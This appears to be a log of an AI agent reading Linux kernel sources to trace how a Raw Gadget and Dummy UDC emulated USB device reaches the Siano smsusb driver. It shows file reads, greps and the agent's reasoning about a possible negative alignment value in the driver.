Tokens:
							input: 24436
							output: 37
							thoughts: 219
						

Thoughts:
**My Thought Process on USB SMSUSB Structure and Emulation**

Initially, my focus was on a specific structure, `struct sms_msg_hdr`. I quickly calculated its size: 2 bytes for one field, plus 1 byte for another, then another 1 byte, followed by 2 bytes and another 2 bytes. Summing these up, I arrived at a total size of 8 bytes for the structure.

Following this, I shifted my attention to a function, `usb_endpoint_maxp(desc)`. I began considering a condition where the value returned by `wMaxPacketSize` was less than 8. In such a scenario, I foresaw a potential issue: the calculation of `align`, defined as `usb_endpoint_maxp(desc) - 8`, would result in a negative value, since `usb_endpoint_maxp(desc)` would be less than 8. This negative alignment seemed problematic.

This observation then triggered a broader line of inquiry. I started questioning what other components might be involved in this context. Specifically, I wondered about the interplay of `smsusb`, `dummy_udc`, and `raw-gadget`. I realized I needed to understand how these modules operated, particularly `raw-gadget` and `dummy_udc`, when they were emulating USB devices.

To gain this understanding, I decided to delve into the source code. My next step was to examine `raw_gadget.c` and `dummy_hcd.c`, as these seemed like the most relevant files for understanding the emulation mechanisms.

Further expanding my investigation, I thought about how `raw-gadget` and `dummy_udc` are employed within testing frameworks like Syzkaller and in USB fuzzing scenarios. This led me to consider how these tools might leverage the functionality of these emulation modules.

To consolidate my knowledge, I planned to search through the Git log, documentation, and relevant tools for mentions of "smsusb", "raw-gadget", or "dummy_udc". This would help me trace their development, understand their intended use, and identify any significant changes or issues.

Finally, I recognized a potential gap in my understanding regarding `raw-gadget` specifically. I made a mental note to search for any existing documentation or practical examples of `raw-gadget` to better grasp its capabilities and usage patterns.


142/7 2026/09/04 10:30 tool read-file
0m Args:
map[File:Documentation/usb/raw-gadget.rst FirstLine:1 LineCount:100]

Results:
map[Contents:   1:	==============
   2:	USB Raw Gadget
   3:	==============
   4:	
   5:	USB Raw Gadget is a gadget driver that gives userspace low-level control over
   6:	the gadget's communication process.
   7:	
   8:	Like any other gadget driver, Raw Gadget implements USB devices via the
   9:	USB gadget API. Unlike most gadget drivers, Raw Gadget does not implement
  10:	any concrete USB functions itself but requires userspace to do that.
  11:	
  12:	Raw Gadget is currently a strictly debugging feature and should not be used
  13:	in production. Use GadgetFS instead.
  14:	
  15:	Enabled with CONFIG_USB_RAW_GADGET.
  16:	
  17:	Comparison to GadgetFS
  18:	~~~~~~~~~~~~~~~~~~~~~~
  19:	
  20:	Raw Gadget is similar to GadgetFS but provides more direct access to the
  21:	USB gadget layer for userspace. The key differences are:
  22:	
  23:	1. Raw Gadget passes every USB request to userspace to get a response, while
  24:	   GadgetFS responds to some USB requests internally based on the provided
  25:	   descriptors. Note that the UDC driver might respond to some requests on
  26:	   its own and never forward them to the gadget layer.
  27:	
  28:	2. Raw Gadget allows providing arbitrary data as responses to USB requests,
  29:	   while GadgetFS performs sanity checks on the provided USB descriptors.
  30:	   This makes Raw Gadget suitable for fuzzing by providing malformed data as
  31:	   responses to USB requests.
  32:	
  33:	3. Raw Gadget provides a way to select a UDC device/driver to bind to,
  34:	   while GadgetFS currently binds to the first available UDC. This allows
  35:	   having multiple Raw Gadget instances bound to different UDCs.
  36:	
  37:	4. Raw Gadget explicitly exposes information about endpoints addresses and
  38:	   capabilities. This allows the user to write UDC-agnostic gadgets.
  39:	
  40:	5. Raw Gadget has an ioctl-based interface instead of a filesystem-based
  41:	   one.
  42:	
  43:	Userspace interface
  44:	~~~~~~~~~~~~~~~~~~~
  45:	
  46:	The user can interact with Raw Gadget by opening ``/dev/raw-gadget`` and
  47:	issuing ioctl calls; see the comments in include/uapi/linux/usb/raw_gadget.h
  48:	for details. Multiple Raw Gadget instances (bound to different UDCs) can be
  49:	used at the same time.
  50:	
  51:	A typical usage scenario of Raw Gadget:
  52:	
  53:	1. Create a Raw Gadget instance by opening ``/dev/raw-gadget``.
  54:	2. Initialize the instance via ``USB_RAW_IOCTL_INIT``.
  55:	3. Launch the instance with ``USB_RAW_IOCTL_RUN``.
  56:	4. In a loop issue ``USB_RAW_IOCTL_EVENT_FETCH`` to receive events from
  57:	   Raw Gadget and react to those depending on what kind of USB gadget must
  58:	   be implemented.
  59:	
  60:	Note that some UDC drivers have fixed addresses assigned to endpoints, and
  61:	therefore arbitrary endpoint addresses cannot be used in the descriptors.
  62:	Nevertheless, Raw Gadget provides a UDC-agnostic way to write USB gadgets.
  63:	Once ``USB_RAW_EVENT_CONNECT`` is received via ``USB_RAW_IOCTL_EVENT_FETCH``,
  64:	``USB_RAW_IOCTL_EPS_INFO`` can be used to find out information about the
  65:	endpoints that the UDC driver has. Based on that, userspace must choose UDC
  66:	endpoints for the gadget and assign addresses in the endpoint descriptors
  67:	correspondingly.
  68:	
  69:	Raw Gadget usage examples and a test suite:
  70:	
  71:	https://github.com/xairy/raw-gadget
  72:	
  73:	Internal details
  74:	~~~~~~~~~~~~~~~~
  75:	
  76:	Every Raw Gadget endpoint read/write ioctl submits a USB request and waits
  77:	until its completion. This is done deliberately to assist with coverage-guided
  78:	fuzzing by having a single syscall fully process a single USB request. This
  79:	feature must be kept in the implementation.
  80:	
  81:	Potential future improvements
  82:	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  83:	
  84:	- Support ``O_NONBLOCK`` I/O. This would be another mode of operation, where
  85:	  Raw Gadget would not wait until the completion of each USB request.
  86:	
  87:	- Support USB 3 features (accept SS endpoint companion descriptor when
  88:	  enabling endpoints; allow providing ``stream_id`` for bulk transfers).
  89:	
  90:	- Support ISO transfer features (expose ``frame_number`` for completed
  91:	  requests).
]

143/7 2026/09/04 10:30 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 26042
							output: 41
							thoughts: 21
						

Thoughts:
**My Thought Process on Inspecting `include/uapi/linux/usb/raw_gadget.h`**

Alright, here's the breakdown of my thought process as I decided to dive into `include/uapi/linux/usb/raw_gadget.h`.

My immediate impulse, when faced with a task or a question involving the USB raw gadget driver, is to go straight to the source code. Specifically, I'm looking for the user-space API definitions. Why? Because the `uapi` directory is where the kernel exposes interfaces that are intended to be stable and used by user-space applications. This is crucial for me as a developer working with these interfaces; I need to know precisely what system calls, structures, and constants are available to me, and more importantly, what guarantees the kernel provides regarding their stability across kernel versions.

So, my first thought is: "Where are the definitions for the raw gadget driver's user-space interface?" And the answer, following standard Linux kernel conventions, is going to be in an `include/uapi/` subdirectory. Within that, I'd expect to find something related to USB, and then specifically, something about "gadget" or "raw." This leads me directly to `include/uapi/linux/usb/raw_gadget.h`.

Upon opening this file, I'm anticipating finding several key things:

1.  **Core Structures:** I'm looking for the primary data structures that user-space will use to interact with the raw gadget driver. This will likely include structures for describing USB endpoints, requests, and perhaps some control-related structures. I'm paying close attention to the fields within these structures, as they dictate how I'll format my data and commands.

2.  **IOCTL Definitions:** The raw gadget driver, like most kernel interfaces accessed from user-space, will heavily rely on `ioctl()` system calls for communication. I'll be searching for `_IOR`, `_IOW`, `_IOWR`, and `_IO` macros, which define the `ioctl` commands. Understanding these commands is paramount; they represent the specific operations I can ask the kernel to perform (like setting up an endpoint, submitting a data transfer request, or querying status). I'll be noting the command numbers themselves, and more importantly, the types of data they expect to read from or write to user-space.

3.  **Constants and Flags:** Beyond structures and ioctls, I expect to find a set of constants and flags that modify the behavior of the driver or provide specific states. This could include endpoint types (bulk, interrupt, control), directionality, status codes, or configuration flags. These are the granular controls that allow me to fine-tune my interaction.

4.  **Enums and Typedefs:** I'll also be looking for any enumerations or type definitions that make the code more readable and maintainable. These often clarify the meaning of specific values or provide type safety.

Essentially, my objective in looking at `include/uapi/linux/usb/raw_gadget.h` is to get a comprehensive, definitive blueprint of the user-space API for the raw gadget driver. This is the foundation upon which I'll build any user-space code that needs to utilize this functionality. It's about understanding the contract between my application and the kernel.


144/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:include/uapi/linux/usb/raw_gadget.h FirstLine:1 LineCount:90]

Results:
map[Contents:   1:	/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
   2:	/*
   3:	 * USB Raw Gadget driver.
   4:	 *
   5:	 * See Documentation/usb/raw-gadget.rst for more details.
   6:	 */
   7:	
   8:	#ifndef _UAPI__LINUX_USB_RAW_GADGET_H
   9:	#define _UAPI__LINUX_USB_RAW_GADGET_H
  10:	
  11:	#include <asm/ioctl.h>
  12:	#include <linux/types.h>
  13:	#include <linux/usb/ch9.h>
  14:	
  15:	/* Maximum length of driver_name/device_name in the usb_raw_init struct. */
  16:	#define UDC_NAME_LENGTH_MAX 128
  17:	
  18:	/*
  19:	 * struct usb_raw_init - argument for USB_RAW_IOCTL_INIT ioctl.
  20:	 * @speed: The speed of the emulated USB device, takes the same values as
  21:	 *     the usb_device_speed enum: USB_SPEED_FULL, USB_SPEED_HIGH, etc.
  22:	 * @driver_name: The name of the UDC driver.
  23:	 * @device_name: The name of a UDC instance.
  24:	 *
  25:	 * The last two fields identify a UDC the gadget driver should bind to.
  26:	 * For example, Dummy UDC has "dummy_udc" as its driver_name and "dummy_udc.N"
  27:	 * as its device_name, where N in the index of the Dummy UDC instance.
  28:	 * At the same time the dwc2 driver that is used on Raspberry Pi Zero, has
  29:	 * "20980000.usb" as both driver_name and device_name.
  30:	 */
  31:	struct usb_raw_init {
  32:		__u8	driver_name[UDC_NAME_LENGTH_MAX];
  33:		__u8	device_name[UDC_NAME_LENGTH_MAX];
  34:		__u8	speed;
  35:	};
  36:	
  37:	/* The type of event fetched with the USB_RAW_IOCTL_EVENT_FETCH ioctl. */
  38:	enum usb_raw_event_type {
  39:		USB_RAW_EVENT_INVALID = 0,
  40:	
  41:		/* This event is queued when the driver has bound to a UDC. */
  42:		USB_RAW_EVENT_CONNECT = 1,
  43:	
  44:		/* This event is queued when a new control request arrived to ep0. */
  45:		USB_RAW_EVENT_CONTROL = 2,
  46:	
  47:		/*
  48:		 * These events are queued when the gadget driver is suspended,
  49:		 * resumed, reset, or disconnected. Note that some UDCs (e.g. dwc2)
  50:		 * report a disconnect event instead of a reset.
  51:		 */
  52:		USB_RAW_EVENT_SUSPEND = 3,
  53:		USB_RAW_EVENT_RESUME = 4,
  54:		USB_RAW_EVENT_RESET = 5,
  55:		USB_RAW_EVENT_DISCONNECT = 6,
  56:	
  57:		/* The list might grow in the future. */
  58:	};
  59:	
  60:	/*
  61:	 * struct usb_raw_event - argument for USB_RAW_IOCTL_EVENT_FETCH ioctl.
  62:	 * @type: The type of the fetched event.
  63:	 * @length: Length of the data buffer. Updated by the driver and set to the
  64:	 *     actual length of the fetched event data.
  65:	 * @data: A buffer to store the fetched event data.
  66:	 *
  67:	 * The fetched event data buffer contains struct usb_ctrlrequest for
  68:	 * USB_RAW_EVENT_CONTROL and is empty for other events.
  69:	 */
  70:	struct usb_raw_event {
  71:		__u32		type;
  72:		__u32		length;
  73:		__u8		data[];
  74:	};
  75:	
  76:	#define USB_RAW_IO_FLAGS_ZERO	0x0001
  77:	#define USB_RAW_IO_FLAGS_MASK	0x0001
  78:	
  79:	static inline int usb_raw_io_flags_valid(__u16 flags)
  80:	{
  81:		return (flags & ~USB_RAW_IO_FLAGS_MASK) == 0;
  82:	}
  83:	
  84:	static inline int usb_raw_io_flags_zero(__u16 flags)
  85:	{
  86:		return (flags & USB_RAW_IO_FLAGS_ZERO);
  87:	}
  88:	
  89:	/*
  90:	 * struct usb_raw_ep_io - argument for USB_RAW_IOCTL_EP0/EP_WRITE/READ ioctls.
]

145/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 27498
							output: 41
							thoughts: 51
						

Thoughts:
**My Thought Process on Investigating the `smsusb` Driver**

Right, so my first instinct upon encountering the `smsusb` identifier is to immediately delve into what vendor and product IDs this particular component is reporting. My immediate thought is to perform a search for `smsusb` in conjunction with "ID table" or something similar, aiming to pinpoint the specific hardware it's designed to interact with. I'm looking for concrete identifiers that will allow me to map this driver to a particular set of USB devices.

Following this, my next logical step is to directly examine the source code. I know that `drivers/media/usb/siano/smsusb.c` is where the primary logic for this driver resides. My attention will be drawn specifically to lines 628 through 720, as this is where I anticipate the crucial data structures, likely an array or struct containing the USB vendor and product ID pairs, will be defined. I'm expecting to find a list of these IDs within that specific code block, which will confirm the hardware targets for the `smsusb` driver. This direct examination is essential to confirm any assumptions made from the initial search and to gain a precise understanding of its operational scope.


146/7 2026/09/04 10:31 tool read-file
0m Args:
map[File:drivers/media/usb/siano/smsusb.c FirstLine:628 LineCount:95]

Results:
map[Contents: 628:	
 629:	static const struct usb_device_id smsusb_id_table[] = {
 630:		/* This device is only present before firmware load */
 631:		{ USB_DEVICE(0x187f, 0x0010),
 632:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR_ROM },
 633:		/* This device pops up after firmware load */
 634:		{ USB_DEVICE(0x187f, 0x0100),
 635:			.driver_info = SMS1XXX_BOARD_SIANO_STELLAR },
 636:	
 637:		{ USB_DEVICE(0x187f, 0x0200),
 638:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_A },
 639:		{ USB_DEVICE(0x187f, 0x0201),
 640:			.driver_info = SMS1XXX_BOARD_SIANO_NOVA_B },
 641:		{ USB_DEVICE(0x187f, 0x0300),
 642:			.driver_info = SMS1XXX_BOARD_SIANO_VEGA },
 643:		{ USB_DEVICE(0x2040, 0x1700),
 644:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_CATAMOUNT },
 645:		{ USB_DEVICE(0x2040, 0x1800),
 646:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_A },
 647:		{ USB_DEVICE(0x2040, 0x1801),
 648:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_OKEMO_B },
 649:		{ USB_DEVICE(0x2040, 0x2000),
 650:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 651:		{ USB_DEVICE(0x2040, 0x2009),
 652:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD_R2 },
 653:		{ USB_DEVICE(0x2040, 0x200a),
 654:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 655:		{ USB_DEVICE(0x2040, 0x2010),
 656:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 657:		{ USB_DEVICE(0x2040, 0x2011),
 658:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 659:		{ USB_DEVICE(0x2040, 0x2019),
 660:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_TIGER_MINICARD },
 661:		{ USB_DEVICE(0x2040, 0x5500),
 662:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 663:		{ USB_DEVICE(0x2040, 0x5510),
 664:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 665:		{ USB_DEVICE(0x2040, 0x5520),
 666:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 667:		{ USB_DEVICE(0x2040, 0x5530),
 668:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 669:		{ USB_DEVICE(0x2040, 0x5580),
 670:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 671:		{ USB_DEVICE(0x2040, 0x5590),
 672:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 673:		{ USB_DEVICE(0x2040, 0xb900),
 674:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 675:		{ USB_DEVICE(0x2040, 0xb910),
 676:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 677:		{ USB_DEVICE(0x2040, 0xb980),
 678:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 679:		{ USB_DEVICE(0x2040, 0xb990),
 680:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 681:		{ USB_DEVICE(0x2040, 0xc000),
 682:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 683:		{ USB_DEVICE(0x2040, 0xc010),
 684:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 685:		{ USB_DEVICE(0x2040, 0xc080),
 686:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 687:		{ USB_DEVICE(0x2040, 0xc090),
 688:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 689:		{ USB_DEVICE(0x2040, 0xc0a0),
 690:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 691:		{ USB_DEVICE(0x2040, 0xf5a0),
 692:			.driver_info = SMS1XXX_BOARD_HAUPPAUGE_WINDHAM },
 693:		{ USB_DEVICE(0x187f, 0x0202),
 694:			.driver_info = SMS1XXX_BOARD_SIANO_NICE },
 695:		{ USB_DEVICE(0x187f, 0x0301),
 696:			.driver_info = SMS1XXX_BOARD_SIANO_VENICE },
 697:		{ USB_DEVICE(0x187f, 0x0302),
 698:			.driver_info = SMS1XXX_BOARD_SIANO_VENICE },
 699:		{ USB_DEVICE(0x187f, 0x0310),
 700:			.driver_info = SMS1XXX_BOARD_SIANO_MING },
 701:		{ USB_DEVICE(0x187f, 0x0500),
 702:			.driver_info = SMS1XXX_BOARD_SIANO_PELE },
 703:		{ USB_DEVICE(0x187f, 0x0600),
 704:			.driver_info = SMS1XXX_BOARD_SIANO_RIO },
 705:		{ USB_DEVICE(0x187f, 0x0700),
 706:			.driver_info = SMS1XXX_BOARD_SIANO_DENVER_2160 },
 707:		{ USB_DEVICE(0x187f, 0x0800),
 708:			.driver_info = SMS1XXX_BOARD_SIANO_DENVER_1530 },
 709:		{ USB_DEVICE(0x19D2, 0x0086),
 710:			.driver_info = SMS1XXX_BOARD_ZTE_DVB_DATA_CARD },
 711:		{ USB_DEVICE(0x19D2, 0x0078),
 712:			.driver_info = SMS1XXX_BOARD_ONDA_MDTV_DATA_CARD },
 713:		{ USB_DEVICE(0x3275, 0x0080),
 714:			.driver_info = SMS1XXX_BOARD_SIANO_RIO },
 715:		{ USB_DEVICE(0x2013, 0x0257),
 716:			.driver_info = SMS1XXX_BOARD_PCTV_77E },
 717:		{ } /* Terminating entry */
 718:		};
 719:	
 720:	MODULE_DEVICE_TABLE(usb, smsusb_id_table);
 721:	
 722:	static struct usb_driver smsusb_driver = {
]

147/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 30012
							output: 19
							thoughts: 25
						

Thoughts:
**My Thought Process for Investigating Board Properties**

Alright, my initial goal here is to get a comprehensive understanding of the available boards and the characteristics that define them within this system. To do that, I need to identify how I can query for this information. My immediate inclination is to look for a function that specifically retrieves board data. Therefore, my next step is to search for and locate the `sms_get_board` function. This function, I presume, will be my gateway to inspecting the properties of these boards.


148/7 2026/09/04 10:31 tool grepper
0m Args:
map[Expression:sms_get_board]

Results:
map[Output:drivers/media/common/siano/sms-cards.c=12=static struct sms_board sms_boards[] = {
--
drivers/media/common/siano/sms-cards.c-151-
drivers/media/common/siano/sms-cards.c:152:struct sms_board *sms_get_board(unsigned id)
drivers/media/common/siano/sms-cards.c-153-{
--
drivers/media/common/siano/sms-cards.c-157-}
drivers/media/common/siano/sms-cards.c:158:EXPORT_SYMBOL_GPL(sms_get_board);
drivers/media/common/siano/sms-cards.c-159-static inline void sms_gpio_assign_11xx_default_led_config(
--
drivers/media/common/siano/sms-cards.c=257=int sms_board_setup(struct smscore_device_t *coredev)
--
drivers/media/common/siano/sms-cards.c-259-	int board_id = smscore_get_board_id(coredev);
drivers/media/common/siano/sms-cards.c:260:	struct sms_board *board = sms_get_board(board_id);
drivers/media/common/siano/sms-cards.c-261-
--
drivers/media/common/siano/sms-cards.c=279=int sms_board_power(struct smscore_device_t *coredev, int onoff)
--
drivers/media/common/siano/sms-cards.c-281-	int board_id = smscore_get_board_id(coredev);
drivers/media/common/siano/sms-cards.c:282:	struct sms_board *board = sms_get_board(board_id);
drivers/media/common/siano/sms-cards.c-283-
--
drivers/media/common/siano/sms-cards.c=301=int sms_board_led_feedback(struct smscore_device_t *coredev, int led)
--
drivers/media/common/siano/sms-cards.c-303-	int board_id = smscore_get_board_id(coredev);
drivers/media/common/siano/sms-cards.c:304:	struct sms_board *board = sms_get_board(board_id);
drivers/media/common/siano/sms-cards.c-305-
--
drivers/media/common/siano/sms-cards.c=324=int sms_board_lna_control(struct smscore_device_t *coredev, int onoff)
--
drivers/media/common/siano/sms-cards.c-326-	int board_id = smscore_get_board_id(coredev);
drivers/media/common/siano/sms-cards.c:327:	struct sms_board *board = sms_get_board(board_id);
drivers/media/common/siano/sms-cards.c-328-
--
drivers/media/common/siano/sms-cards.h=72=struct sms_board {
--
drivers/media/common/siano/sms-cards.h-87-
drivers/media/common/siano/sms-cards.h:88:struct sms_board *sms_get_board(unsigned id);
drivers/media/common/siano/sms-cards.h-89-
--
drivers/media/common/siano/smscoreapi.c=772=static int smscore_init_ir(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-778-	coredev->ir.dev = NULL;
drivers/media/common/siano/smscoreapi.c:779:	ir_io = sms_get_board(smscore_get_board_id(coredev))->board_cfg.ir;
drivers/media/common/siano/smscoreapi.c-780-	if (ir_io) {/* only if IR port exist we use IR sub-module */
--
drivers/media/common/siano/smscoreapi.c=823=static int smscore_configure_board(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-826-
drivers/media/common/siano/smscoreapi.c:827:	board = sms_get_board(coredev->board_id);
drivers/media/common/siano/smscoreapi.c-828-	if (!board) {
--
drivers/media/common/siano/smscoreapi.c=872=int smscore_start_device(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smscoreapi.c-879-	if (board_id != SMS_BOARD_UNKNOWN && mode == DEVICE_MODE_NONE)
drivers/media/common/siano/smscoreapi.c:880:		mode = sms_get_board(board_id)->default_mode;
drivers/media/common/siano/smscoreapi.c-881-
--
drivers/media/common/siano/smscoreapi.c=1097=static char *smscore_get_fw_filename(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smscoreapi.c-1113-		  board_id, mode);
drivers/media/common/siano/smscoreapi.c:1114:	fw = sms_get_board(board_id)->fw;
drivers/media/common/siano/smscoreapi.c-1115-	if (!fw || !fw[mode]) {
--
drivers/media/common/siano/smsdvb-main.c=948=static int smsdvb_isdbt_set_frontend(struct dvb_frontend *fe)
--
drivers/media/common/siano/smsdvb-main.c-953-	int board_id = smscore_get_board_id(client->coredev);
drivers/media/common/siano/smsdvb-main.c:954:	struct sms_board *board = sms_get_board(board_id);
drivers/media/common/siano/smsdvb-main.c-955-	enum sms_device_type_st type = board->type;
--
drivers/media/common/siano/smsdvb-main.c=1103=static int smsdvb_hotplug(struct smscore_device_t *coredev,
--
drivers/media/common/siano/smsdvb-main.c-1118-	rc = dvb_register_adapter(&client->adapter,
drivers/media/common/siano/smsdvb-main.c:1119:				  sms_get_board(
drivers/media/common/siano/smsdvb-main.c-1120-					smscore_get_board_id(coredev))->name,
--
drivers/media/common/siano/smsir.c=39=int sms_ir_init(struct smscore_device_t *coredev)
--
drivers/media/common/siano/smsir.c-55-	snprintf(coredev->ir.name, sizeof(coredev->ir.name),
drivers/media/common/siano/smsir.c:56:		 "SMS IR (%s)", sms_get_board(board_id)->name);
drivers/media/common/siano/smsir.c-57-
--
drivers/media/common/siano/smsir.c-74-	dev->allowed_protocols = RC_PROTO_BIT_ALL_IR_DECODER;
drivers/media/common/siano/smsir.c:75:	dev->map_name = sms_get_board(board_id)->rc_codes;
drivers/media/common/siano/smsir.c-76-	dev->driver_name = MODULE_NAME;
--
drivers/media/mmc/siano/smssdio.c=236=static int smssdio_probe(struct sdio_func *func,
--
drivers/media/mmc/siano/smssdio.c-264-
drivers/media/mmc/siano/smssdio.c:265:	params.device_type = sms_get_board(board_id)->type;
drivers/media/mmc/siano/smssdio.c-266-
--
drivers/media/usb/siano/smsusb.c=244=static inline char *sms_get_fw_name(int mode, int board_id)
drivers/media/usb/siano/smsusb.c-245-{
drivers/media/usb/siano/smsusb.c:246:	char **fw = sms_get_board(board_id)->fw;
drivers/media/usb/siano/smsusb.c-247-	return (fw && fw[mode]) ? fw[mode] : smsusb1_fw_lkup[mode];
--
drivers/media/usb/siano/smsusb.c=250=static int smsusb1_load_firmware(struct usb_device *udev, int id, int board_id)
--
drivers/media/usb/siano/smsusb.c-257-	if (id < 0)
drivers/media/usb/siano/smsusb.c:258:		id = sms_get_board(board_id)->default_mode;
drivers/media/usb/siano/smsusb.c-259-
--
drivers/media/usb/siano/smsusb.c=361=static void *siano_media_device_register(struct smsusb_device_t *dev,
--
drivers/media/usb/siano/smsusb.c-366-	struct usb_device *udev = dev->udev;
drivers/media/usb/siano/smsusb.c:367:	struct sms_board *board = sms_get_board(board_id);
drivers/media/usb/siano/smsusb.c-368-	int ret;
--
drivers/media/usb/siano/smsusb.c=391=static int smsusb_init_device(struct usb_interface *intf, int board_id)
--
drivers/media/usb/siano/smsusb.c-426-
drivers/media/usb/siano/smsusb.c:427:	params.device_type = sms_get_board(board_id)->type;
drivers/media/usb/siano/smsusb.c-428-
--
drivers/media/usb/siano/smsusb.c=505=static int smsusb_probe(struct usb_interface *intf,
--
drivers/media/usb/siano/smsusb.c-515-
drivers/media/usb/siano/smsusb.c:516:	if (sms_get_board(id->driver_info)->intf_num !=
drivers/media/usb/siano/smsusb.c-517-	    intf->cur_altsetting->desc.bInterfaceNumber) {
--
drivers/media/usb/siano/smsusb.c-519-			intf->cur_altsetting->desc.bInterfaceNumber,
drivers/media/usb/siano/smsusb.c:520:			sms_get_board(id->driver_info)->intf_num);
drivers/media/usb/siano/smsusb.c-521-		return -ENODEV;
]

149/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 32943
							output: 22
							thoughts: 282
						

Thoughts:
**My Thought Process on Exploring `dummy_hcd` and `raw-gadget`**

Right, my primary objective here is to understand the interplay between `dummy_hcd` and `raw-gadget`. I need to get a firm grasp on how they function together. So, the first thing that comes to mind is a direct inquiry: "Let's see what `dummy_hcd` and `raw-gadget` do." This is the initial, broad exploration phase.

Before diving too deep, a quick double-check is always prudent, especially with system-level components like these. So, I immediately refine that thought to: "Wait! Let's check `dummy_hcd` and `raw-gadget`." This isn't a change in direction, but rather a more focused confirmation that I'm on the right track and haven't missed any obvious prerequisites.

My next logical step is to trace the initialization process. Specifically, I want to know how `dummy_udc` and `raw-gadget` are brought into existence and configured. This leads to the question: "How are `dummy_udc` and `raw-gadget` initialized?"

To answer that, I've started looking at the `raw-gadget` implementation. I've found a relevant snippet involving the `USB_RAW_IOCTL_INIT` ioctl. The code shows the setup of a `struct usb_raw_init` where key parameters are being populated. I see that `init.driver_name` is set to `"dummy_udc"` and `init.device_name` is set to `"dummy_udc.0"`. This tells me the interface name and the specific instance being registered.

However, I've hit a point of uncertainty regarding the `init.speed` field. The code clearly shows it's being set, and I know the common USB speeds: `USB_SPEED_FULL`, `USB_SPEED_HIGH`, and `USB_SPEED_SUPER`. But the crucial question that pops into my head is: "Wait! What speed?" I need to understand what value is actually being passed here. Is it a specific speed, a variable, or could it be one of the less common ones like `USB_SPEED_UNKNOWN` or `USB_SPEED_LOW`? This detail is critical for understanding the operational parameters of the dummy UDC.

Therefore, my immediate next step is to delve into the source code of `dummy_hcd.c` itself. I need to examine how `dummy_udc` is designed to behave, particularly how it handles different speeds and the configuration of its endpoints. This is where I'll find the concrete details about speed negotiation and endpoint management, which will ultimately clarify the mystery of the `init.speed` value.


150/7 2026/09/04 10:31 tool grepper
0m Args:
map[Expression:dummy_udc_set_speed]

Results:
map[Output:drivers/usb/gadget/udc/dummy_hcd.c=922=static int dummy_pullup(struct usb_gadget *_gadget, int value)
--
drivers/usb/gadget/udc/dummy_hcd.c-939-
drivers/usb/gadget/udc/dummy_hcd.c:940:static void dummy_udc_set_speed(struct usb_gadget *_gadget,
drivers/usb/gadget/udc/dummy_hcd.c-941-		enum usb_device_speed speed)
--
drivers/usb/gadget/udc/dummy_hcd.c=977=static const struct usb_gadget_ops dummy_ops = {
--
drivers/usb/gadget/udc/dummy_hcd.c-983-	.udc_stop	= dummy_udc_stop,
drivers/usb/gadget/udc/dummy_hcd.c:984:	.udc_set_speed	= dummy_udc_set_speed,
drivers/usb/gadget/udc/dummy_hcd.c-985-	.udc_async_callbacks = dummy_udc_async_callbacks,
]

151/7 2026/09/04 10:31 llm codeexpert
0m Model:
gemini-3.7-flash

Tokens:
							input: 33543
							output: 44
							thoughts: 45
						

Thoughts:
**My Thought Process**

Okay, so the immediate directive is to delve into the specifics of two functions: `dummy_udc_set_speed` and `dummy_udc_update_ep0`, residing within the `drivers/usb/gadget/udc/dummy_hcd.c` file. My objective here isn't just to skim the surface, but to engage with the code at a level that reflects my expertise in this domain. I need to understand not just *what* these functions do, but *how* they do it, and *why* they're structured that way, considering the broader context of USB gadget driver implementation.

Firstly, I'll approach `dummy_udc_set_speed`. My expectation is that this function will be responsible for handling the USB device's speed negotiation upon connection. As an expert, I'm looking for details on how the dummy UDC (USB On-The-Go Controller) driver informs the gadget framework about the negotiated speed. Is it a simple assignment of a speed enum, or does it involve more complex state management? I'll be paying close attention to any internal flags or variables that track the current device speed, and whether this function is the sole point of truth for that information. I'll also consider if there are any implicit assumptions about the underlying hardware or its capabilities that this "dummy" implementation might be abstracting away. Given it's a "dummy" implementation, I anticipate this might be a simplified representation, perhaps focusing on the API contract rather than intricate hardware interaction.

